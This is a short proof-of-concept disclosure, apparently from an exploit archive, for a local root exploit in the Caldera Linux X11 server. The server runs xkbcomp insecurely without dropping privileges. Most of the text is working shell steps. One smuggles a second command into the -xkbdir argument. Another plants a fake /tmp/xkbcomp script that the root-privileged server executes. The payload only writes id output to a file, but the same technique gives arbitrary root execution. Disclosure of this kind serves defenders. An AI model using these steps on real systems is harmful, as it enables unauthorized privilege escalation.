Proof of concept local exploit for the Caldera Linux X11 server. The Xserver calls xkbcomp in an insecure manner while not dropping privileges.
15bc29b478956ad0af8d1972de40145aThe following proof of concepts were provided by Pavel Kankovsky:
$ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;'
[exit X server]
$ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'
$ cat > /tmp/xkbcomp
#!/bin/sh
id > /tmp/I_WAS_HERE
[ctrl+d]
$ chmod a+x /tmp/xkbcomp
$ Xserver -xkbdir /tmp
[X server executes /tmp/xkbcomp]
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